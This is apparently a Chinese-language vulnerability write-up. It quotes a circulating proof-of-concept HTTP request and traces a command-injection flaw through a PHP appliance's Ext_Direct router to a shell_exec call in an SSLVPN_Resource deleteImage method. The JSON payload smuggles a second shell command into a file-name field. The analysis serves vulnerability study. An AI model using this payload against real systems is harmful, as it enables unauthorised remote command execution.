流传的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /directdata/direct/router HTTP/1.1 Host: xxx Connection: close Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
|
漏洞分析
根据目录结构可以看出开发使用了Zend Freamwork php框架
根据请求路由/directdata/direct/router
定位到漏洞的入口位置:
在applications/directdata/controllers/DirectController.php
的routerAction
方法

跟进这里Ext_Direct
类的静态方法run
函数:Ext_Direct::run($this->getRequest())
在applications/Models/Ext/Direct.php
当中


继续跟进这里run
方法当中的Ext_Direct_Request::factory($request)
于是跟踪到了applications/Models/Ext/Direct/Request.php
当中

这里通过file_get_contents('php://input')
对POST过来的数据进行了接收,根据上面的POC可以得知这里接收的内容为:
1
| {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami>/var/www/html/11.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
|
把这串数据的json_decode
打印出来看看是什么:

可以看到经过json_decode
处理后的数据为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| object(stdClass) ["action"]=> string(15) "SSLVPN_Resource" ["method"]=> string(11) "deleteImage" ["data"]=> array(1) { [0]=> object(stdClass) ["data"]=> array(1) { [0]=> string(47) "/var/www/html/d.txt;whoami>/var/www/html/11.txt" } } } ["type"]=> string(3) "rpc" ["tid"]=> int(17) ["f8839p7rqtj"]=> string(1) "=" }
|
所以获取到$data
变量当中的数据符合下面这段代码
1 2 3 4 5 6 7 8
| if ( is_object($data) && $data->type && $data->tid && $data->action && $data->method ) return new Ext_Direct_Request( $data->type, $data->tid, $data->action, $data->method, $data->data );
|
这里主要根据获取到的数据对Ext_Direct_Request
对象进行初始化,然后作为Ext_Direct_Request::factory($request)
的返回值
applications/Models/Ext/Direct/Request.php
:

最终在执行到applications/Models/Ext/Direct.php
当中的run
函数的call_user_func_array
处,调用了SSLVPN_Resource
类的deleteImage
方法,传入的参数为:
1 2 3 4 5 6 7 8 9 10
| array(1) { [0]=> object(stdClass) ["data"]=> array(1) { [0]=> string(47) "/var/www/html/d.txt;whoami>/var/www/html/11.txt" } } }
|
定位到SSLVPN_Resource
类的相关代码,追踪到applications/Models/SSLVPN/Resource.php
当中的deleteImage
方法:

这里传入的$params
变量内容为:
1 2 3 4 5 6 7
| object(stdClass) ["data"]=> array(1) { [0]=> string(47) "/var/www/html/d.txt;whoami>/var/www/html/11.txt" } }
|
最终在执行shell_exec
的时候,可控输入/var/www/html/d.txt;whoami>/var/www/html/11.txt
被拼接入$cmd
参数,产生了命令执行